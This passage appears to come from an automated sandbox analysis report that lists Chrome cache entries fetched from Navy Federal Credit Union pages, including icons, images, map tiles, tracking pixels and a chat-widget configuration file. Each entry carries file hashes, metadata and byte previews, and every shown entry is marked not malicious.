SHA1:	638E91B1C89ED0B02190862B41BBF50914284A3C
SHA-256:	A08D8933016ED75D51799C809EDA6FD853091BEEA2DE24E1DE77C958042DE065
SHA-512:	F773BFEFED34BBE8A9F5104B66E7FA58F5AC765D179C4E15563D45CB846F5C9C0CE884EF1EFA80A7699FE29156827D595BECE0D6C8438D426CE14FE5E851D7B2
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/_jcr_content/root/homePageZone3/image2.coreimg.svg/1715623189693/podcast-white.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 27.9.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 498.4 500" style="enable-background:new 0 0 498.4 500;" xml:space="preserve">.<style type="text/css">...st0{fill:#FFFFFF;}.</style>.<g>..<path class="st0" d="M442.4,93.2C354.8-15.3,200-31.1,91.1,56.6C-11.4,139.1-31.2,294.4,51.1,402...c83.8,109.6,243.2,131.4,351.4,44.5C513.1,357.8,530.2,202,442.4,93.2z M388,422.8c-36.7,29.8-79.6,45.8-123.1,48.7V409...c35.4-3.9,65.1-19.2,89.1-46c24.1-26.7,36.1-58.2,36.1-94.3v-31.4c0-4.2-1.6-7.9-4.6-11c-3.1-3.1-6.8-4.7-11-4.7...c-4.2,0-7.9,1.6-11,4.7c-3.1,3.1-4.6,6.8-4.6,11v31.4c0,30.3-10.7,56.1-32.2,77.6c-21.4,21.5-47.2,32.3-77.4,32.3...s-56-10.8-77.4-32.3c-21.4-21.5-32.2-47.4-32.2-77.6v-31.4c0-4.2-1.6-7.9-4.6-11c-3.1-3.1-6.8-4.7-11-4.7c-4.2,0-7.9,1.6-11,4.7...c-3.1,3.1-4.6,6.8-4.6,11

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	19940
Entropy (8bit):	7.976137820737786
Encrypted:	false
SSDEEP:	384:U+o2YbW9P7BJfz/mvMI6R0kVLs8NYbjZoAkxQ0VCiStUlH+T7XMi:U+DQWBzfTqHlkdQbj6A30p2Uq7XZ
MD5:	823D07FA40A109620A2751CA10FAFFF1
SHA1:	4B9E4209A974E178BB4B08B8AE6D78121B9B40B4
SHA-256:	28BD52FBABAE288289EE1EBFEAF6019867A8F67CAD1477591AFD0E7E0CBC5DA1
SHA-512:	9E933B936A76EEAD06E295B70F4E0FC14A2C534C7528D665738B4D1A3F74C1EAC90F4326A11F50D04304FA3F3C27562A1D744E76858680D173FA64408A867ED7
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i1!3i4!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=125710
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE................................................................................................................................................t{{...._chSWW......8<<FHI'f..C\|.Y.. !$...5q...n..\|....aY..L.IDATx....v.F... 13333.....'...1.VU7.`..]{g...5"......`.+.y.[U.........3.L......Z.].......F....v...e-..;..v.P.~."..~F=/FO...U.'^.W.?Z$'@.^.p..V.o..]z..w4...U....)l..z2.=.lFQ.OH...'..-.....;;..r.....M.c..tY.]...p.l.v..B.F.....C.&.....X...k.G.F./{...yU..e..M..X.&.....2..O.H....M.\|...\..c.dmu,..f.\|I......Y.@.Q@d8........a......e.?.O....K..S.5..j.....4....s.L...GG..]l.8U......e...Pyr......;.b{=.$X!...n...x..!0.{4..(...?_.. ..=U.XT.....U......,zt...s.GS..{^..`............6.4..../........a.K\B.m............0{:....@..l+.k._Kr.i...+.kZ....v.h....]..Q..Uw...l.....>Uz..,g.:.oA.=L.u.......fy\|..t...u....OL.Hm...8...[..1...I.x.F..G.I...F...g..y..

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUXPQEsJ+q:1QEsJ+q
MD5:	32023BB33CFB2A1990A4EF2D85B6AC16
SHA1:	23DCC6D4B5BFE00357FD0248BB5955B8E36BB8F1
SHA-256:	99C2917EE5B2A01459A923BDD1C676F15EE73B62B87F696E6735312D26F51E12
SHA-512:	D052ECEC2839340876EB57247CFC2E777DD7F2E868DC37CD3F3F740C8DEB94917A0C9F2A4FC8229987A0B91B04726DE2D1E9F6BCBE3F9BEF0E4B7E0D7F65EA12
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L.;

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12741
Entropy (8bit):	7.9394131737274884
Encrypted:	false
SSDEEP:	384:MaiqBACRiG5G0KK739WdiOWxaiCd78mQ4:MmeG5G0R73odyaG4
MD5:	9EBF5B1016BC16C7EA1C383C0409D10E
SHA1:	5711F976FC556D2927FF89AB1D99EF422C1836A4
SHA-256:	7BD4897F23C1C0FB969B829715F9B84FE382C1F4E0F515F3EC50A46166740A20
SHA-512:	D918F98B2F30940473BFFFF5E715346D992D1626B27CCA53124619F810EEE092CD69E2E9F5449E59792BD60CD405EA4291EB1791F20A1D4D6395A7C846914A11
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE....................................uuu........{........ !$SWW...............w.................................._ch..;><.............FIJ............&(){..............LQP.......-/1.........5q...C\|.Q..u..255...g..........n...... `.......**...R..Q..0ZIDATx....z#I...47..f.!........./r....83.$.8..v6.!.uZR.T..........7....n..n.....7..:.....Z..-. Q.tI...v..h.DI...'.k..e.....D.9=.....8.~....}...fwNON...7.4.....w.. .[.E..H_...>k....i.wra.kg.4.W5M.....@.xY....P:it....o/.A...w=i.......w..PK.h...Dji.iSh..........nt67Uu.....\......i...8#...&j.....7.......H..&. +..7Y......;....W..7......j-...x..2.#....a.o..Y..)..MEx:....,+.u#.XRAK....................4g..]..OD..D[9..h;...a...-....A..`..f....3Bp$.A..6.M..Z+......._!..X.."V.3..}....s..o..}....(..''......v..{{.@E.u=9.+$.....~,{'.o.]....\|...).K..V.....'.9..NO{)...z.T*e...f.s.6\.#z.~.....jL....$.u]....VbB.c.

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x214, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	7666
Entropy (8bit):	7.9769378714353545
Encrypted:	false
SSDEEP:	192:0XPYGDw6U6+IjBkeAb/XIwz/K6KtAZTNH8Y9DAFX:UPYuSeAb/XIy/K6WKTNciDAFX
MD5:	80BB0112FA9F4096B40F6BCEE7454610
SHA1:	900EED4348281C6C95DD9F375B14A8EBC4785B0D
SHA-256:	D1C36B93A32D331F984335D86FC842453F73C175E3F59FA123E004178335E00B
SHA-512:	591404C20820206D092EF069CB68FF52346FBD2BB15F602894793809743142960E160A48FCF080B4F07E97AAB85864422F44A55ECEA6626770195905B8A7D3BA
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 ........@...>.B.J...+....p..cm.4,.....V..g.Oy.....q.]..D.y.Y..;.u.].].#.Z`..I.^..DE^.).T....s...Z....R.J...<r........yj.C..;.J.3f.k...H0v..<.....O.j..-R.....A^k2C..........(.D...d..N...P...4....%z..$.@...............7+.w...8...o.'..bD..^............B+.>w.$..SB[...Kn.,..w..Q.zo..qe.m..C.....u....v\..9V..;me..\..M....C/...1.]/\|..e.(.Q....fQ......q.}......G.5;...dUqVZ.n..v.:(.e .S...~{..F.:>.HB....y.....0.xN2.g......xf...g[_.......$......Vr..]'.......c..@.....p ...MeD.4........7Fn..2....C....w&...O. .x`<.;.~b....',...q..d..'..z.R..\|.#..~)../.;..^f.#.s........c.Fc...P5........."..xm..9..Jsh.F..E.T...I.\.."I.G...b...wE.......F...D..D@..;ki&.....5-......d.)ch.L.m9..0L.5'..+..9...\......j.s.Sp..T.h.+^..i3>.4......r-...MX...~.n..>_.B.*a.V......xR..u.5.{...=..!..b.....^C.zA.C[.....uV^.D..i.ur.0A..u.8...3P<X.q-.,{>.m...`.;n.!9U.......C.e.}u.`..$.&}G\...r.--.r;&T7I..h..p...j.._.2.J...<.z..M.el...2.'e....F.G...)&.l.?gR..ev.e...;v

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3854
Entropy (8bit):	5.148287847861223
Encrypted:	false
SSDEEP:	48:cBUA8f3iH6fIJr9cYtGwgkRw7QysQ1XW+wTJZ7KXhxSbHn34cXhSb6pF:88fy6IqYtGwisOXU+XhcHnXSOpF
MD5:	02FADFF571244BA22621F6C4E83C55E7
SHA1:	0AF95D7A2AA289065D9A5B3E3266FA7491392E41
SHA-256:	F81AB7424A31BE4A11C28FED04D6CB8D3671E65EC031F11BAAA9AEA5CC6EDE2B
SHA-512:	758FA59238D133BF98C3421423D6AAA09ED8582D9D524E8E06ABF13AD527A4DF1600233E09DE3FB8FDF0C8557FAAD8312FC29158EA79F7CEFAC215E875AE5EC5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 28.2.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 160 160" style="enable-background:new 0 0 160 160;" xml:space="preserve">.<style type="text/css">...st0{fill:#ED780F;}...st1{fill:#FFAA5F;}...st2{fill:#004785;}...st3{fill:#003366;}...st4{display:none;}...st5{display:inline;fill:#FFFFFF;}...st6{display:inline;}...st7{fill:#FFFFFF;}...st8{fill:#EA7923;}...st9{fill:#3B93D0;}...st10{fill:#257ABE;}.</style>.<g id="Layer_1_copy">..<g>...<circle class="st0" cx="80" cy="80" r="80"/>...<path class="st1" d="M80,0v160c44.2,0,80-35.8,80-80S124.2,0,80,0z"/>...<circle class="st2" cx="80" cy="80" r="67.9"/>...<path class="st3" d="M80,12.1v136c37.5,0,67.9-30.4,67.9-67.9C147.9,42.5,117.5,12.1,80,12.1z"/>...<g class="st4">....<path class="st5" d="M78.5,112.4h4.6l0,0v-6.9l0,0c8.9-0.5,15.1-5.8,15.

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	13852
Entropy (8bit):	7.976470381709075
Encrypted:	false
SSDEEP:	384:vNbPnCJHgZvecv622ZBio3mPbqZV111YivhUEqT:vNbPCJHgZveY67L2PGj12EO
MD5:	0C1802E1548762A9391F40F63DDDFB01
SHA1:	3A97BBFC3BC8C01CF76E195D0D89418CA4FDBA6F
SHA-256:	6C97C5B293EB06758FE854598C39314EC49C0D972AFD60AEE726AE830FC01CC0
SHA-512:	7F0B36BFD431C65B65ED41D324DA3C8AAC1B6ED609F93294FCCA9A99D6CC3A504E125989D187BB75804BC2B799ED3A95900B3C9749A717E3BDD19015D9AA23D7
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyimages-1527900211?qlt=80&wid=320&ts=1715017958805&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............5....(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma.................5.mdat.....!......h@2.i.p.E.Q@.,t.5sZv%..z...x.#_r.<.....5.<D..f.....wV4.....h....F3_9....i}.w .R.{Y.B...o.....vX_..R4...W.Q..7..e..)..7!.S...^>]......g...v....L.7i.6.`.tT.W].K..P..!Z..e&.@..S`.........m..[.].!p.)._.....>.U...ki...4"....e.$..'....,.2...9.....D....9].\|. ...-#..f.._..R........P.........g-.~.P(.7....2.#$..f..?.5.2...t..+.3.Q...6.....M8t{.........b+..7..#)...U.....Uy....s....1; %Q<WV.A.CN.......p..IaWg1.Ql.}S.....!h...\p.=...<Tf#...!..a..e..T..nb....~,.q..E....]....=.O..8KB[...d.3...[./..S......9..W.........\\...Z.n....].o`.^.r.:....n......]........A%...B./1_.!....".3...CL.w-.u0A`....zH%...q.J-.4.t7,..!.i.M~u.......<w....jF....k\.$.....+..y..+?2G..X.@.........`j.

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	336714
Entropy (8bit):	5.973689685598335
Encrypted:	false
SSDEEP:	6144:GUjLF7HczwM9W24vizZhjPnxZWE/+R2d/hbI:Gcczw6WihbnN8S/e
MD5:	949B9EC4E14DEF7FEA8BADF3C2592564
SHA1:	DA6221FAD4765E041F7B16A05F0EAD724C3D89FB
SHA-256:	AF68A949010E0FA10EF43CD776FF30B74BD77BCE04025BA9B7E41A5DB347B747
SHA-512:	5BDC45872E45B137C68391E6BB99E7667F32839533C0155F44C90F726E6840203BD2C9CF7403E057E3F32DA9C13A1DE2A461E8E3467A11D00A4C8BF03F8E69CC
Malicious:	false
Reputation:	low
URL:	https://lptag.liveperson.net/lptag/api/account/11478817/configuration/applications/taglets/.jsonp?v=2.0&df=undefined&b=undefined
Preview:	lpTag.callback({"serviceMap":[{"service":"sentinel","account":"11478817","baseURI":"va.sentinel.liveperson.net"},{"service":"runtimeFormLogic","account":"11478817","baseURI":"va.rfl.liveperson.net"},{"service":"leDataReporting","account":"11478817","baseURI":"va.data.liveperson.net"},{"service":"leadGenerator","account":"11478817","baseURI":"va.lp-leadgenerator-web.liveperson.net"},{"service":"ihubCrmwExplorer","account":"11478817","baseURI":"va.ihubcrmwexplorer.liveperson.net"},{"service":"cbMacsAnalytics","account":"11478817","baseURI":"va.cbleanalytics.liveperson.net"},{"service":"staticContent","account":"11478817","baseURI":"va.content.lpsnmedia.net"},{"service":"agent","account":"11478817","baseURI":"va-e.c.liveperson.net"},{"service":"cbPcsManager","account":"11478817","baseURI":"va.bc-li.liveperson.net/lp-cb-cms"},{"service":"marketplaceDomain","account":"11478817","baseURI":"va.marketplace.liveperson.net"},{"service":"botConnectorsDomain","account":"11478817","baseURI":"z1.bot

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x253, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	11338
Entropy (8bit):	7.983195988947204
Encrypted:	false
SSDEEP:	192:oqylToHgv1clRxvHMkF0tRHeK2YkArHef9pkn2Z0lUdXGOurzylGdfLTKo:oPToHgv1ILvskytRH6nweHknIOEErzIk
MD5:	7C7430FB3CC8FC8E67CE0110230192AC
SHA1:	9A2D4F9ACE20786CDB2ABE9758F8A4BDD66301FC
SHA-256:	8FB9468EB8514790483186E277F88C2421E73D8E9462F1FACB3BE122557ACE74
SHA-512:	6CE0D195EAD5905811EF7300411AEDF0E6C0F31BB696A8E83CB6661E00E8EB70EED62A3DDFD139D3BE389768BCA6EAFBC3332C62567122EB85F2715446095EED
Malicious:	false
Reputation:	low
Preview:	RIFFB,..WEBPVP8 6,.......@...>.@.J...0.S.....c.p.}..}..Y......]..?A.}K.i._...K.-.o...h...J.........o..=5.......#.o._n6P(-.E........R9G..V.!F.z......g8'5.._H{....{..H...Kfa.$;.....a.)..V.....j.....I)...q2.jH....R.~..r....a..Sx..N#.!8....H5.q.....P..D...<.\...R,..h.`.\|..G]AM..t...SDw.]..y.L....Pn...SP..7...p....X..H.!......T...o....~{...T..w.........e.K.1....ILaj7.m.....$Qj.h..j...H.=..\|NR2..]E.R......n......Bd............J...&..\|.@.-7[!.......:.k..l..L<6.....n...L..Bo.... ...?bQyt...m...LL.L.....^.#.@n5>wN...#_................y.q......g?.w.../DJ..$/.?..`...'..... .xx.......".Y...P...D.`W.H...J..o..v.(.....b..../O.0.O.y(.P...,....v.p.].TE=.i..Vk........H{...BmV.1.StC.6`.@&.\.=gwl...3........`.#{.~.l..........\|.K{.3..+.P9.'.at1R.d2....l#.7U<=G.nv..I..&F.$..../.F...+....2D.E..W.Vb.?W...h&.6.@...'E...?.....YI3.=.Q...He.h.D...JP.:)I...~ O..=K03=Mx+.NV.."....Y..6L.a-.....#.5d..W..,!h.....U.WR...nP..cT.y..9.1.Nr..O..ri...w..%.{.KZM.i......P

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/generic?ttd_pid=6szhitj
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 480x321, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	12996
Entropy (8bit):	7.986954275285994
Encrypted:	false
SSDEEP:	384:yPXHypDKKO8GRfPxNHX+FDkvndNKpypByrIf:IS5HO8MxNHgDMndwoCrIf
MD5:	92FC552E5CBA85434AFDD435FB5EA87B
SHA1:	03C0A1488D922E0570D809AE846A8380C0181BED
SHA-256:	AAECC173D9D7D3731B27643F2526AA4F3B066356A460457AE4B68AA3E3EAB47B
SHA-512:	EE1C3D7C52724D7B9B8102AF1675C1983DEE5C8DBF0DAB1006804831AD3681849593015835FC5699C6CD46DAF840D4D741F2EC2FE8C522FF9ECEB5415462AC7E
Malicious:	false
Reputation:	low
Preview:	RIFF.2..WEBPVP8 .2.........A.>.F.K%...$.....en_. ..j`^.7f..M8.9]...O7.@..+./..........z..............6.....d...,._;.....G...;..;.....S...~.^ex..?.O.../.~j>.....Q].r.......]....X.D..%.R...L,......F....!o...b1}..........u.... ..:.0......Sy..b..nM...y.p...B.UXE!i..U..$.D5.3{..E.M.[.L..t..V.7....H[....=.7^.Ui.. ......Vp...\Z...Z..'.,q........I.....n.m.3H..({...Z.B...=KK.O.S.......$. .HM.t.1.....8.R.....{.V..vu0..s6..T= .%'.....ci.&\|~.k...f..Z..h.&.~...\|{...P..d.%6.>eZ.:JAy./.+..:@z...F.+....z..OO...^...8.,....W....X.p..........dw3}N..F...b..1......W...;._...6..b.}YX.....#O.(.-z.....!.7-y.0.....V.WAM7..[K.>.@F_..../gY.C.#...6....?...r59i...@a.PD:...K...\|.....,..?.......NeU.4.?6.]..!.N.zF.....6I.IH>\|.bc..S.o..y.f.._.."...4B...........<.=.U..3.p.nEW...k...m<.....d...N....f.@..o..........l...B.n .....<.....)g..f...m.....'[H.3=..mB.?.m.8....?............7.Y..+....6Q.....$.\9.s#E[..-.XT....(-2A.......uJ.....4.#\.M.#.l.s..T.*..+=..gH....

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=818227&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1813
Entropy (8bit):	5.283358086676831
Encrypted:	false
SSDEEP:	48:0OlhWc4JckVsJ+eF9zh9iktX8+5FdiRQbLde:TKH3g1kqde
MD5:	D7675CA4CF9C81A0E94F3FA809C4D5DB
SHA1:	9A2F1F5F50442A5363B2F42E58585EF8EDA5AB3E
SHA-256:	9488CB0046ABFA287953E0596B62B607866EBEDB228C02E274BB7F51E9624E60
SHA-512:	1E8F3DA461CEA2EC94F83C82C185B98D2259E5C370B4C76EAE48F9C85F60509FCE6878ADD871A3948796E3A3ACBA58DD17332978175753CB5E21963132F799AC
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 343 346"><defs><style>.cls-1,.cls-2{fill:#231f20;isolation:isolate;}.cls-1{opacity:0.1;}.cls-2{opacity:0.3;}.cls-3{fill:#f49322;}.cls-4{fill:#ed780f;}.cls-5{fill:#0f3d70;}.cls-6{fill:#1b68b2;}.cls-7{fill:none;}</style></defs><g id="Group_19176" data-name="Group 19176"><path id="Path_1341" data-name="Path 1341" class="cls-1" d="M167.87,110.54l-125,85L43.28,210,167.87,125.4Z"/><path id="Path_1342" data-name="Path 1342" class="cls-2" d="M292.87,195.57l-125-85V125.4L292.45,210Z"/></g><g id="Group_19175" data-name="Group 19175"><path id="Path_1341-2" data-name="Path 1341-2" class="cls-1" d="M167.87,184.53l-125,85L43.28,284l124.59-84.61Z"/><path id="Path_1342-2" data-name="Path 1342-2" class="cls-2" d="M292.87,269.55l-125-85v14.86L292.45,284Z"/></g><path id="Subtraction_127" data-name="Subtraction 127" class="cls-3" d="M43.13,196.53h0V159.12L167.87,76.93l.26.18v37.41l-.26-.17Z"/><path id="Subtraction_130" d

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x339, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	5918
Entropy (8bit):	7.9659537941466665
Encrypted:	false
SSDEEP:	96:k1IwcI1Qpv1h18dvzqBeehsekBwzpf1Ne3SfGebcCXkFi5yt9QQX:uIDI1QZDuYLhWBHyGehkFKybb
MD5:	740E9FA5BA2826992014AE7A8A907388
SHA1:	F24F403A27AD95AA30EEE2181140562E45F7DB6D
SHA-256:	9AFDB1DB0B840EAC258B38B30F069BD7F7B3B06FCA4CEB32F4FE7A0032574FB0
SHA-512:	D280E460DF26C5A93931825C38CEFEAFB6C9737CACF35E116A4531E9B417818B312654349A4792204B8B03B7B7533B259568B92C7D2FCC160D414DD5405E3B6D
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 ........@.S.>.H.J......z.p..M...W2T;W..K\|.@.../P...e.^U.......o0.2>.?............P...@...?.9.m..}n";...{xg...I..m...2....v.k..`.C\./..S.v8.C.1.4.."E.W.&~.l....2.....T........G@P.8.X..ORx.f..f..z..U.__..,{..e>.X....k#.$.#......Bq5.A...J..>]..Y9...x..q..I.W.BsL0.9;..b.8j1t._...}~'.l.(...k......7...:.-...&...~M..TO...!..;..2..e.N.D..JfK..^.N.-.9..j...`.:9.}..C...0...0f5.V~~$........d..e...Sl.m.[@7....s...)y=P..x..z}........]......d..$....,..\..}.......j]\|$k.....u..F.....s.$t.&K..v:....Qu...&3......s..!.g.4....r..s).1....$(...;i.r......v...s..rq.JG..z..BS..W:QV.6u.6$.4..u..\C......o~...J.S.&.(.....n.$..h....H\|.v..:%m..Z...Z.5.O_m.S[...}..q4...U..zU.....9..... .......5$...>.-.........$......{;..A..[.=..5.Z...X+.A...i.f....2.Ct..L.:$.#..<.RU,.3.7..f....\.l...F...K+u../.....I..... ....E.h......M'>(.....K5.0..nKO$..~..%9Dd?sv../.....R..G...v.j..K)h1..r......Db.......~r.p.......,`.:.>.Y..._#.../R.[..=./.~..mF..S.,(.j..9..."i.g..[

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5140)
Category:	downloaded
Size (bytes):	66117
Entropy (8bit):	5.327100656207085
Encrypted:	false
SSDEEP:	1536:RJeUwT76HXltMHM9eEqJ1UJnTZ02LKVlEyN:RIT7OX4s9eZYtj8ltN
MD5:	A9A7AF30C470FA4E31C24A24F3C460A9
SHA1:	E5D207A307F4FB5F91C7772A75EA56AA8730D299
SHA-256:	576D6C3F5EB4CC8AC01732FB7F498A4B15C14B30E4D28D1BD6D546BABA5C0B5B
SHA-512:	5AF74EB9ED7143ACA81C8953CB70AE25C7887A9D04FC908F3969A274ADD304B5FC3DE78F96B8F04F2EFF1EBEF6D48CA554147CC875DB854394D6939746A23677
Malicious:	false
Reputation:	low
